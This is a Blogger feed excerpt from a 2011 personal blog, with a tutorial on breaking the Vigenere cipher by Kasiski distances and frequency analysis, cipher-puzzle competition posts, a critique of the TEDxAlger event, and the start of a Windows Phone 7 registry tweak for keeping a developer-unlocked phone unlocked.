href="http://lh5.ggpht.com/_MIqc395dv38/Tbg2oSkL1wI/AAAAAAAACoo/wrVClzA0lXE/s1600-h/285181560%5B3%5D.png"&gt;&lt;img alt="285181560" border="0" height="323" src="http://lh5.ggpht.com/_MIqc395dv38/Tbg2uLx0LrI/AAAAAAAACos/0GHDsHcBuMM/285181560_thumb%5B1%5D.png?imgmax=800" style="background-image: none; border-bottom-color: initial; border-bottom-style: initial; border-bottom-width: 0px; border-left-color: initial; border-left-style: initial; border-left-width: 0px; border-right-color: initial; border-right-style: initial; border-right-width: 0px; border-top-color: initial; border-top-style: initial; border-top-width: 0px; cursor: move; display: block; float: none; margin-left: auto; margin-right: auto; padding-left: 0px; padding-right: 0px; padding-top: 0px;" title="285181560" width="294" /&gt;&lt;/a&gt;&lt;br /&gt;&lt;a name='more'&gt;&lt;/a&gt;&lt;/div&gt;This is the table of the distances from the Vigenere message (done by hand)&lt;br /&gt;&lt;br /&gt;&lt;table border="1" cellpadding="2" cellspacing="0" style="width: 601px;"&gt;&lt;tbody&gt;&lt;tr&gt; &lt;td valign="top" width="82"&gt;&lt;div align="center"&gt;&lt;strong&gt;Anchor&lt;/strong&gt;&lt;/div&gt;&lt;/td&gt; &lt;td valign="top" width="81"&gt;&lt;div align="center"&gt;&lt;strong&gt;Repetition&lt;/strong&gt;&lt;/div&gt;&lt;/td&gt; &lt;td valign="top" width="101"&gt;&lt;div align="center"&gt;&lt;strong&gt;Distances&lt;/strong&gt;&lt;/div&gt;&lt;/td&gt; &lt;td valign="top" width="335"&gt;&lt;div align="center"&gt;&lt;strong&gt;Divisors&lt;/strong&gt;&lt;/div&gt;&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt; &lt;td valign="top" width="83"&gt;WXIZAYG&lt;/td&gt; &lt;td valign="top" width="85"&gt;2&lt;/td&gt; &lt;td valign="top" width="100"&gt;190&lt;/td&gt; &lt;td valign="top" width="333"&gt;&lt;pre&gt;1 | 2 |&lt;strong&gt; &lt;span style="color: red;"&gt;5&lt;/span&gt;&lt;/strong&gt; | 10 | 19 | 38 | 95 | 190&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt; &lt;td valign="top" width="83"&gt;EFVJ&lt;/td&gt; &lt;td valign="top" width="88"&gt;2&lt;/td&gt; &lt;td valign="top" width="100"&gt;220&lt;/td&gt; &lt;td valign="top" width="332"&gt;&lt;pre&gt;1 | 2 | 4 | &lt;span style="color: red;"&gt;5&lt;/span&gt; | 10 | 11 | 20 | 22 …&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt; &lt;td valign="top" width="82"&gt;WUU&lt;/td&gt; &lt;td valign="top" width="90"&gt;3&lt;/td&gt; &lt;td valign="top" width="99"&gt;95&lt;/td&gt; &lt;td valign="top" width="332"&gt;&lt;pre&gt;1 | &lt;strong&gt;&lt;span style="color: red;"&gt;5 &lt;/span&gt;&lt;/strong&gt;| 19 | 95&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt; &lt;td valign="top" width="82"&gt;EEK&lt;/td&gt; &lt;td valign="top" width="91"&gt;3&lt;/td&gt; &lt;td valign="top" width="99"&gt;200&lt;/td&gt; &lt;td valign="top" width="332"&gt;&lt;pre&gt;1 | 2 | 4 | &lt;strong&gt;&lt;span style="color: red;"&gt;5&lt;/span&gt;&lt;/strong&gt; | 8 | 10 | 20 | 25 …&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt; &lt;td valign="top" width="82"&gt;UUN&lt;/td&gt; &lt;td valign="top" width="91"&gt;2&lt;/td&gt; &lt;td valign="top" width="99"&gt;130&lt;/td&gt; &lt;td valign="top" width="332"&gt;&lt;pre&gt;1 | 2 | &lt;strong&gt;&lt;span style="color: red;"&gt;5&lt;/span&gt;&lt;/strong&gt; | 10 | 13 | 26 | 65 | 130&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt; &lt;td valign="top" width="82"&gt;MEK&lt;/td&gt; &lt;td valign="top" width="91"&gt;2&lt;/td&gt; &lt;td valign="top" width="99"&gt;135&lt;/td&gt; &lt;td valign="top" width="332"&gt;..&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt; &lt;td valign="top" width="82"&gt;EKJ&lt;/td&gt; &lt;td valign="top" width="91"&gt;2&lt;/td&gt; &lt;td valign="top" width="99"&gt;515&lt;/td&gt; &lt;td valign="top" width="332"&gt;..&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt; &lt;td valign="top" width="82"&gt;UXF&lt;/td&gt; &lt;td valign="top" width="91"&gt;2&lt;/td&gt; &lt;td valign="top" width="99"&gt;135&lt;/td&gt; &lt;td valign="top" width="332"&gt;..&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt; &lt;td valign="top" width="82"&gt;JBJ&lt;/td&gt; &lt;td valign="top" width="91"&gt;2&lt;/td&gt; &lt;td valign="top" width="99"&gt;60&lt;/td&gt; &lt;td valign="top" width="332"&gt;..&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt; &lt;td valign="top" width="82"&gt;GFB&lt;/td&gt; &lt;td valign="top" width="91"&gt;2&lt;/td&gt; &lt;td valign="top" width="99"&gt;30&lt;/td&gt; &lt;td valign="top" width="332"&gt;&lt;pre&gt;1 | 2 | 3 |&lt;strong&gt; &lt;span style="color: red;"&gt;5 &lt;/span&gt;&lt;/strong&gt;| 6 | 10 | 15 | 30&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt; &lt;td valign="top" width="82"&gt;PNT&lt;/td&gt; &lt;td valign="top" width="91"&gt;2&lt;/td&gt; &lt;td valign="top" width="99"&gt;35&lt;/td&gt; &lt;td valign="top" width="333"&gt;&lt;pre&gt;&lt;strong&gt; &lt;span style="color: red;"&gt;5 &lt;/span&gt;&lt;/strong&gt;| 7&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/tbody&gt;&lt;/table&gt;&lt;br /&gt;&lt;div align="justify"&gt;As you can see, all the repetitions have 5 as a common divisor, so we will suppose that the key length is 5.&lt;/div&gt;&lt;br /&gt;&lt;h3&gt;2. Breaking the text into (key-length) sets:&lt;/h3&gt;&lt;br /&gt;&lt;div align="justify"&gt;Now that we know the key length, we will make sets from the coded text, so that we group every letter codes with the first letter of the key together, the second group will be the one coded with the second letter of the key etc…&lt;/div&gt;&lt;br /&gt;&lt;table border="1" cellpadding="2" cellspacing="0" style="width: 597px;"&gt;&lt;tbody&gt;&lt;tr&gt; &lt;td valign="top" width="92"&gt;&lt;span style="font-family: 'Courier New'; font-size: medium;"&gt;C &lt;span style="color: red;"&gt;O&lt;/span&gt; D &lt;span style="color: blue;"&gt;E&lt;/span&gt;&lt;/span&gt;&lt;/td&gt; &lt;td valign="top" width="503"&gt;&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt; &lt;td valign="top" width="95"&gt;&lt;br /&gt;&lt;span style="font-family: 'Courier New'; font-size: medium;"&gt;T &lt;span style="color: red;"&gt;H&lt;/span&gt; I &lt;span style="color: blue;"&gt;S&lt;/span&gt; &lt;br /&gt;I &lt;span style="color: red;"&gt;S&lt;/span&gt; A &lt;span style="color: blue;"&gt;C&lt;/span&gt; &lt;br /&gt;L &lt;span style="color: red;"&gt;E&lt;/span&gt; A &lt;span style="color: blue;"&gt;R&lt;/span&gt; &lt;br /&gt;T &lt;span style="color: red;"&gt;E&lt;/span&gt; X &lt;span style="color: blue;"&gt;T&lt;/span&gt; &lt;br /&gt;T &lt;span style="color: red;"&gt;H&lt;/span&gt; I &lt;span style="color: blue;"&gt;S&lt;/span&gt; &lt;br /&gt;C &lt;span style="color: red;"&gt;A&lt;/span&gt; N &lt;span style="color: blue;"&gt;B&lt;/span&gt; &lt;br /&gt;E &lt;span style="color: red;"&gt;E&lt;/span&gt; A &lt;span style="color: blue;"&gt;S&lt;/span&gt; &lt;br /&gt;L &lt;span style="color: red;"&gt;Y&lt;/span&gt; D &lt;span style="color: blue;"&gt;E&lt;/span&gt; &lt;br /&gt;C &lt;/span&gt;&lt;/td&gt; &lt;td width="500"&gt;&lt;br /&gt;&lt;div align="justify"&gt;Each group is ciphered with one letter of the key, and better yet, the resulting group is ciphered with a simple Caesar cipher. (notice that we group the ciphered text, not the clear one –do we have the clear one anyway?-)&lt;/div&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/tbody&gt;&lt;/table&gt;&lt;br /&gt;&lt;div align="justify"&gt;Here is a sample code that takes a ciphered text and a key length and returns a list of simple Ceasar ciphers from the Vigenere cipher (C# code):&lt;/div&gt;&lt;br /&gt;&lt;script src="https://gist.github.com/944949.js?file=gistfile1.cs"&gt;&lt;/script&gt;&lt;br /&gt;&lt;h3&gt;3. Deciphering the Ceasar groups:&lt;/h3&gt;&lt;br /&gt;&lt;div align="justify"&gt;Now that we have the groups from the Vigenere cipher, it’s very easy to decipher each one apart (each one has a 26 possibility, so a key length of 5 gives us a 26^5 case to try).&lt;/div&gt;&lt;br /&gt;&lt;div align="justify"&gt;But we can do better with frequency analysis, we need only to locate the Caesar key for each group, so if the text if for example in French or English, we can locate the letter &lt;strong&gt;“e”&lt;/strong&gt; (most frequent one) and deduce the key from this letter.&lt;/div&gt;&lt;br /&gt;&lt;div align="justify"&gt;If for example in the first group, the letter &lt;strong&gt;“s”&lt;/strong&gt; is the most repeated one, we know that &lt;strong&gt;“e”&lt;/strong&gt; is replaced by &lt;strong&gt;“s”&lt;/strong&gt; and hence the key is &lt;strong&gt;“s”&lt;/strong&gt; – &lt;strong&gt;“e”&lt;/strong&gt; = &lt;strong&gt;“m”&lt;/strong&gt;.&lt;/div&gt;&lt;br /&gt;&lt;div align="justify"&gt;The following piece of code, analyses the frequencies and tries to find the key (supposing that the text is long enough and that the letters are distributed uniformly)&lt;/div&gt;&lt;br /&gt;&lt;script src="https://gist.github.com/944963.js?file=gistfile1.cs"&gt;&lt;/script&gt;&lt;br /&gt;&lt;h3&gt;4. Cracking Vigenere :&lt;/h3&gt;&lt;br /&gt;The key, is the concatenation of all the Caesar keys we found in each group from the above step. Now that we have the key, reversing Vigenere is a game, here is a sample code that does this:&lt;br /&gt;&lt;br /&gt;&lt;script src="https://gist.github.com/944969.js?file=gistfile1.cs"&gt;&lt;/script&gt;&lt;br /&gt;You can of course try different key lengths with this program and see if the text has any meaning without going through stage one to find the key length. (or you can calculate it directly using Friedman test)&lt;br /&gt;&lt;br /&gt;&lt;h3&gt;5. Source Code :&lt;/h3&gt;&lt;a href="https://gist.github.com/944422"&gt;https://gist.github.com/944422&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;I really wanted the last message of the &lt;a href="http://www.martani.net/2011/04/win-free-domain-name-registered-for-3.html" target="_blank"&gt;Win a free domain name&lt;/a&gt; competition to be a Vigenere cipher since it is so much fun, but unfortunately, it won’t be. Have fun ;)&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/8964007124326996693-7648288401812965331?l=www.martani.net' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://www.martani.net/feeds/7648288401812965331/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.martani.net/2011/04/cracking-vigenere.html#comment-form' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/8964007124326996693/posts/default/7648288401812965331'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/8964007124326996693/posts/default/7648288401812965331'/><link rel='alternate' type='text/html' href='http://www.martani.net/2011/04/cracking-vigenere.html' title='Cracking The Vigenere Cipher'/><author><name>fakhrou martani</name><uri>https://profiles.google.com/103182982567993728984</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='32' src='//lh4.googleusercontent.com/-uWdGi2569GI/AAAAAAAAAAI/AAAAAAAAAAA/6_obyno4c4c/s512-c/photo.jpg'/></author><media:thumbnail xmlns:media='http://search.yahoo.com/mrss/' url='http://lh5.ggpht.com/_MIqc395dv38/Tbg2uLx0LrI/AAAAAAAACos/0GHDsHcBuMM/s72-c/285181560_thumb%5B1%5D.png?imgmax=800' height='72' width='72'/><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-8964007124326996693.post-5547582441908542898</id><published>2011-04-19T23:51:00.001+02:00</published><updated>2011-05-06T17:11:45.657+02:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='cryptography'/><title type='text'>Win a Free Domain Name (Registered For 3 Years), 2nd Message</title><content type='html'>&lt;p&gt;By decrypting the message and following the rules you reveal, or just have fun!  &lt;p&gt;After decrypting the &lt;a href="http://www.martani.net/2011/04/win-free-domain-name-registered-for-3.html" target="_blank"&gt;first one&lt;/a&gt;, you won’t find any difficulty decrypting this one.&lt;/p&gt; &lt;p&gt;&lt;a href="http://lh3.ggpht.com/_MIqc395dv38/Ta4IlXMrGCI/AAAAAAAACog/bFgOWuFJT7g/s1600-h/Sans%20titre%5B5%5D.png"&gt;&lt;img style="background-image: none; border-right-width: 0px; padding-left: 0px; padding-right: 0px; display: inline; border-top-width: 0px; border-bottom-width: 0px; border-left-width: 0px; padding-top: 0px" title="Sans titre" border="0" alt="Sans titre" src="http://lh6.ggpht.com/_MIqc395dv38/Ta4ImYYqfZI/AAAAAAAACok/UNPB5HrvxT8/Sans%20titre_thumb%5B3%5D.png?imgmax=800" width="548" height="63"&gt;&lt;/a&gt;&lt;/p&gt; &lt;p&gt;Hint: Phonemic, Linear, starting from the end is a good idea sometimes.&lt;/p&gt; &lt;p&gt;Hint 2 : This was a widely used code (language) in the past.&lt;/p&gt; &lt;p&gt;(if you decode the message, don’t forget to send your answer from the “contact me” page along with your email).&lt;/p&gt; &lt;p&gt;&lt;font color="#008000"&gt;Decoded by : &lt;/font&gt;&lt;a href="http://twitter.com/oh_la_love" target="_blank"&gt;&lt;font color="#0000ff"&gt;@oh_la_love&lt;/font&gt;&lt;/a&gt;&lt;font color="#008000"&gt;, &lt;/font&gt;&lt;a href="https://twitter.com/#!/27_Hope" target="_blank"&gt;&lt;font color="#0000ff"&gt;@27_hope&lt;/font&gt;&lt;/a&gt;, &lt;a href="https://twitter.com/#!/mowahed23"&gt;@mowahed23&lt;/a&gt; ,&lt;font color="#4f81bd"&gt; Mohieddine Abd-kader, &lt;a href="https://twitter.com/#!/zirconias" target="_blank"&gt;@zirconias&lt;/a&gt;&lt;/font&gt;&lt;font color="#008000"&gt;&amp;nbsp;&lt;/font&gt;&lt;font color="#008000"&gt;(&lt;font color="#ff0000"&gt;competition &lt;strike&gt;always open&lt;/strike&gt; closed&lt;/font&gt;).&lt;/font&gt;&lt;/p&gt; &lt;p&gt;&amp;nbsp;&lt;/p&gt; &lt;p align="center"&gt;&lt;font size="4"&gt;Winner : Mohieddine Abd-kader, &lt;/font&gt;&lt;a href="http://mitgux.com/" target="_blank"&gt;&lt;font size="4"&gt;http://mitgux.com/&lt;/font&gt;&lt;/a&gt;&lt;/p&gt;  &lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/8964007124326996693-5547582441908542898?l=www.martani.net' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://www.martani.net/feeds/5547582441908542898/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.martani.net/2011/04/win-free-domain-name-registered-for-3_19.html#comment-form' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/8964007124326996693/posts/default/5547582441908542898'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/8964007124326996693/posts/default/5547582441908542898'/><link rel='alternate' type='text/html' href='http://www.martani.net/2011/04/win-free-domain-name-registered-for-3_19.html' title='Win a Free Domain Name (Registered For 3 Years), 2nd Message'/><author><name>fakhrou martani</name><uri>https://profiles.google.com/103182982567993728984</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='32' src='//lh4.googleusercontent.com/-uWdGi2569GI/AAAAAAAAAAI/AAAAAAAAAAA/6_obyno4c4c/s512-c/photo.jpg'/></author><media:thumbnail xmlns:media='http://search.yahoo.com/mrss/' url='http://lh6.ggpht.com/_MIqc395dv38/Ta4ImYYqfZI/AAAAAAAACok/UNPB5HrvxT8/s72-c/Sans%20titre_thumb%5B3%5D.png?imgmax=800' height='72' width='72'/><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-8964007124326996693.post-7723310053165661487</id><published>2011-04-10T13:26:00.001+02:00</published><updated>2011-04-10T13:34:14.625+02:00</updated><title type='text'>TEDxAlger, Reflections</title><content type='html'>&lt;p align="justify"&gt;&lt;strong&gt;“Offline”&lt;/strong&gt;, was the only message shown on the &lt;em&gt;supposed-to-be&lt;/em&gt; the live streaming page of the TEDx event that was held yesterday in Algiers. An event that has its prestige around the globe, and which was announced to be a success even before it started [refer to twitter for evidence!].&lt;/p&gt; &lt;p align="justify"&gt;&lt;strong&gt;The excuse&lt;/strong&gt; of the organizers was that there was no internet connection and that it was the CERIST’s fault, not theirs. The most prestigious institute of informatics had no internet connection! and worst, no internet connection during a TEDx event! That same institute that is ranked 7842 among the world’s universities.&lt;/p&gt; &lt;p align="justify"&gt;Internet is not a luxury anymore, but yet, we still see that Algeria cannot provide a reliable internet connection during a &lt;em&gt;supposed-to-be&lt;/em&gt; global event like TED. While &lt;a href="https://twitter.com/#!/h_sattouf/statuses/56658612973604864" target="_blank"&gt;the organizers&lt;/a&gt; deserve a big part of the reproach, the only thing to be said is &lt;em&gt;&lt;strong&gt;Shame on you Algeria&lt;/strong&gt;&lt;/em&gt;, it is 2011 in case you didn’t notice yet!&lt;/p&gt; &lt;p align="justify"&gt;&lt;strong&gt;Identity&lt;/strong&gt; is a crucial part of such global events, and language is the main player in this; A quick look at the &lt;em&gt;TEDxCarthage&lt;/em&gt; or &lt;em&gt;TEDxCairo&lt;/em&gt; shows pretty much how the speakers are using their native language mostly, but unfortunately &lt;em&gt;TEDxAlger&lt;/em&gt; was a pure French spectacle.&lt;/p&gt; &lt;p align="justify"&gt;Some are arguing that as far as we can understand what the speakers say, &lt;a href="https://twitter.com/#!/youknowriad/statuses/56663583924293632" target="_blank"&gt;language is just an illusionary abstract layer&lt;/a&gt;, which is of course scandalously fallacious when it comes to an official statement from a government member (yeah, remember the Algerian ministers and such?), or when a global event is concerned where the city (or the country in Algeria’s case) is to be represented. (We could change the name of the event to TEDxMarseille and no one will notice, trust me)&lt;/p&gt; &lt;p align="justify"&gt;&lt;strong&gt;There was a competition&lt;/strong&gt; where people can vote for the best video and article written about TEDxAlger, and it is not strange at all to know that the video that was ranked 1st &lt;a href="https://twitter.com/#!/schneller00/status/56112320161648640" target="_blank"&gt;is a stolen video&lt;/a&gt;.. from YouTube (seriously)&lt;/p&gt; &lt;p align="justify"&gt;Some have been discussing the fact that more than a half of the speakers are living abroad (&lt;strike&gt;France&lt;/strike&gt;) and the moral impact of this on the event after all. As someone said, “what I can understand from this, is that, the only way to be successful is to leave Algeria [Redacted]”.&lt;/p&gt; &lt;p align="justify"&gt;Once again, that might be a wrong move of the organizers to invite only Francophone speakers (thought I’m sure ALL of them know at least some Algerian Darja), or it was a smart one, who knows.&lt;/p&gt; &lt;p align="justify"&gt;More on the subject :&lt;/p&gt; &lt;p align="justify"&gt;&lt;a href="http://grindaizer.blogspot.com/2011/04/alors-ce-tedx-alger.html?spref=tw" target="_blank"&gt;Grindaizer's Mind: Alors ce #TedxAlger ?&lt;/a&gt;&lt;/p&gt; &lt;p align="justify"&gt;&lt;a href="http://lh3.ggpht.com/_MIqc395dv38/TaGUZXNc-AI/AAAAAAAACoQ/5Fc8tI6cuN4/s1600-h/Sans%20titre%5B4%5D.png"&gt;&lt;img style="background-image: none; border-bottom: 0px; border-left: 0px; padding-left: 0px; padding-right: 0px; display: block; float: none; margin-left: auto; border-top: 0px; margin-right: auto; border-right: 0px; padding-top: 0px" title="Sans titre" border="0" alt="Sans titre" src="http://lh3.ggpht.com/_MIqc395dv38/TaGUaDCNGbI/AAAAAAAACoU/4UUIIbS22jE/Sans%20titre_thumb%5B2%5D.png?imgmax=800" width="377" height="253"&gt;&lt;/a&gt;&lt;/p&gt;  &lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/8964007124326996693-7723310053165661487?l=www.martani.net' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://www.martani.net/feeds/7723310053165661487/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.martani.net/2011/04/tedxalger-reflections.html#comment-form' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/8964007124326996693/posts/default/7723310053165661487'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/8964007124326996693/posts/default/7723310053165661487'/><link rel='alternate' type='text/html' href='http://www.martani.net/2011/04/tedxalger-reflections.html' title='TEDxAlger, Reflections'/><author><name>fakhrou martani</name><uri>https://profiles.google.com/103182982567993728984</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='32' src='//lh4.googleusercontent.com/-uWdGi2569GI/AAAAAAAAAAI/AAAAAAAAAAA/6_obyno4c4c/s512-c/photo.jpg'/></author><media:thumbnail xmlns:media='http://search.yahoo.com/mrss/' url='http://lh3.ggpht.com/_MIqc395dv38/TaGUaDCNGbI/AAAAAAAACoU/4UUIIbS22jE/s72-c/Sans%20titre_thumb%5B2%5D.png?imgmax=800' height='72' width='72'/><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-8964007124326996693.post-1864022885258709418</id><published>2011-04-05T00:10:00.001+02:00</published><updated>2011-05-06T17:10:52.626+02:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='cryptography'/><title type='text'>Win a Free Domain Name (Registered For 3 Years)</title><content type='html'>&lt;p&gt;By decrypting the message and following the rules you reveal, or just have fun!&lt;/p&gt; &lt;p&gt;&lt;a href="http://lh3.ggpht.com/_MIqc395dv38/TZpBuGTwR5I/AAAAAAAACoI/QUaX8BlNMcU/s1600-h/Sans%20titre%5B4%5D.png"&gt;&lt;img style="background-image: none; border-right-width: 0px; padding-left: 0px; padding-right: 0px; display: inline; border-top-width: 0px; border-bottom-width: 0px; border-left-width: 0px; padding-top: 0px" title="Sans titre" border="0" alt="Sans titre" src="http://lh4.ggpht.com/_MIqc395dv38/TZpBuhhDnEI/AAAAAAAACoM/BOlgVrmr6Kk/Sans%20titre_thumb%5B2%5D.png?imgmax=800" width="391" height="496"&gt;&lt;/a&gt;&lt;/p&gt; &lt;p&gt;Hint : People used to love playing Angry Birds in ancient Rome.&lt;/p&gt; &lt;p&gt;&amp;nbsp;&lt;/p&gt; &lt;p&gt;&lt;font color="#008000"&gt;Decoded by : &lt;/font&gt;&lt;a href="http://twitter.com/oh_la_love"&gt;&lt;font color="#4f81bd"&gt;@oh_la_love&lt;/font&gt;&lt;/a&gt;&lt;font color="#4f81bd"&gt;, &lt;/font&gt;&lt;a href="https://twitter.com/#!/27_Hope"&gt;&lt;font color="#4f81bd"&gt;@27_hope&lt;/font&gt;&lt;/a&gt;, &lt;a href="https://twitter.com/#!/mowahed23" target="_blank"&gt;@mowahed23&lt;/a&gt;,&lt;font color="#4f81bd"&gt; Mohieddine Abd-kader, &lt;a href="https://twitter.com/#!/zirconias"&gt;@zirconias&lt;/a&gt;&lt;/font&gt;&lt;font color="#008000"&gt; (&lt;font color="#ff0000"&gt;competition &lt;strike&gt;always open&lt;/strike&gt; closed&lt;/font&gt;).&lt;/font&gt;&lt;/p&gt; &lt;p align="center"&gt;&lt;font size="4"&gt;&lt;/font&gt;&amp;nbsp;&lt;/p&gt; &lt;p align="center"&gt;&lt;font size="4"&gt;Winner : Mohieddine Abd-kader, &lt;/font&gt;&lt;a href="http://mitgux.com/" target="_blank"&gt;&lt;font size="4"&gt;http://mitgux.com/&lt;/font&gt;&lt;/a&gt;&lt;/p&gt;  &lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/8964007124326996693-1864022885258709418?l=www.martani.net' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://www.martani.net/feeds/1864022885258709418/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.martani.net/2011/04/win-free-domain-name-registered-for-3.html#comment-form' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/8964007124326996693/posts/default/1864022885258709418'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/8964007124326996693/posts/default/1864022885258709418'/><link rel='alternate' type='text/html' href='http://www.martani.net/2011/04/win-free-domain-name-registered-for-3.html' title='Win a Free Domain Name (Registered For 3 Years)'/><author><name>fakhrou martani</name><uri>https://profiles.google.com/103182982567993728984</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='32' src='//lh4.googleusercontent.com/-uWdGi2569GI/AAAAAAAAAAI/AAAAAAAAAAA/6_obyno4c4c/s512-c/photo.jpg'/></author><media:thumbnail xmlns:media='http://search.yahoo.com/mrss/' url='http://lh4.ggpht.com/_MIqc395dv38/TZpBuhhDnEI/AAAAAAAACoM/BOlgVrmr6Kk/s72-c/Sans%20titre_thumb%5B2%5D.png?imgmax=800' height='72' width='72'/><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-8964007124326996693.post-207902694544295114</id><published>2011-04-01T00:51:00.005+02:00</published><updated>2011-04-04T23:39:40.393+02:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='wp7'/><category scheme='http://www.blogger.com/atom/ns#' term='chevronwp7'/><category scheme='http://www.blogger.com/atom/ns#' term='Samsung omnia 7'/><title type='text'>WP7 Samsung Devices Unlocked Forever?</title><content type='html'>&lt;div dir="ltr" style="text-align: left;" trbidi="on"&gt;&lt;b&gt;Update :&lt;/b&gt;&lt;br /&gt;&lt;br /&gt;&lt;b&gt;No they are not ;), You can use&amp;nbsp;&lt;span class="Apple-style-span" style="color: #111111; font-family: verdana, geneva, lucida, 'lucida grande', arial, helvetica, sans-serif; font-size: 13px; line-height: 19px;"&gt;Heathcliff74's tool from XDA &lt;a href="http://forum.xda-developers.com/showthread.php?t=1021135"&gt;here &lt;/a&gt;to gain root access to the Registry and change whatever you want&lt;/span&gt;&lt;/b&gt;&lt;br /&gt;&lt;br /&gt;Most of the WP7 users who unlocked their devices using the ChevronWP7 tool have applied a registry hack to prevent their devices from relocking again, something that I applied myself, but had never thought it would unlock the device forever (till now at least).&lt;br /&gt;&lt;br /&gt;For HTC users, they can use provxml &lt;a href="http://forum.xda-developers.com/showthread.php?t=913748" target="_blank"&gt;to do this&lt;/a&gt;, and the Samsung users have the ability to do the same with a little app that can be found &lt;a href="http://forum.xda-developers.com/showthread.php?t=924497" target="_blank"&gt;here&lt;/a&gt;.&lt;br /&gt;&lt;br /&gt;The hack is pretty simple actually, it just clears the URLs the phone uses to ring back Microsoft and asks if it should be unlocked or not, there URLs can be found in the Registry at this location :&lt;br /&gt;&lt;div&gt;&lt;div id="codeSnippetWrapper" style="background-color: #f4f4f4; border-bottom: silver 1px solid; border-left: silver 1px solid; border-right: silver 1px solid; border-top: silver 1px solid; cursor: text; direction: ltr; font-family: 'Courier New', courier, monospace; font-size: 8pt; line-height: 12pt; margin: 20px 0px 10px; max-height: 200px; overflow: auto; padding-bottom: 4px; padding-left: 4px; padding-right: 4px; padding-top: 4px; text-align: left; width: 97.5%;"&gt;&lt;div id="codeSnippet" style="background-color: #f4f4f4; border-bottom-style: none; border-left-style: none; border-right-style: none; border-top-style: none; color: black; direction: ltr; font-family: 'Courier New', courier, monospace; font-size: 8pt; line-height: 12pt; overflow: visible; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px; text-align: left; width: 100%;"&gt;&lt;pre style="background-color: white; border-bottom-style: none; border-left-style: none; border-right-style: none; border-top-style: none; color: black; direction: ltr; font-family: 'Courier New', courier, monospace; font-size: 8pt; line-height: 12pt; margin: 0em; overflow: visible; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px; text-align: left; width: 100%;"&gt;&lt;span id="lnum1" style="color: #606060;"&gt;   1:&lt;/span&gt; [HKEY_LOCAL_MACHINE\Software\Microsoft\DeviceReg]&lt;/pre&gt;&lt;pre style="background-color: #f4f4f4; border-bottom-style: none; border-left-style: none; border-right-style: none; border-top-style: none; color: black; direction: ltr; font-family: 'Courier New', courier, monospace; font-size: 8pt; line-height: 12pt; margin: 0em; overflow: visible; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px; text-align: left; width: 100%;"&gt;&lt;span id="lnum2" style="color: #606060;"&gt;   2:&lt;/span&gt; &lt;span style="color: #006080;"&gt;"PortalUrlProd"&lt;/span&gt;=&lt;span style="color: #006080;"&gt;"https://developerservices.windowsphone.com/Services/WindowsPhoneRegistration.svc/01/2010"&lt;/span&gt;&lt;/pre&gt;&lt;pre style="background-color: white; border-bottom-style: none; border-left-style: none; border-right-style: none; border-top-style: none; color: black; direction: ltr; font-family: 'Courier New', courier, monospace; font-size: 8pt; line-height: 12pt; margin: 0em; overflow: visible; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px; text-align: left; width: 100%;"&gt;&lt;span id="lnum3" style="color: #606060;"&gt;   3:&lt;/span&gt;  &lt;/pre&gt;&lt;pre style="background-color: #f4f4f4; border-bottom-style: none; border-left-style: none; border-right-style: none; border-top-style: none; color: black; direction: ltr; font-family: 'Courier New', courier, monospace; 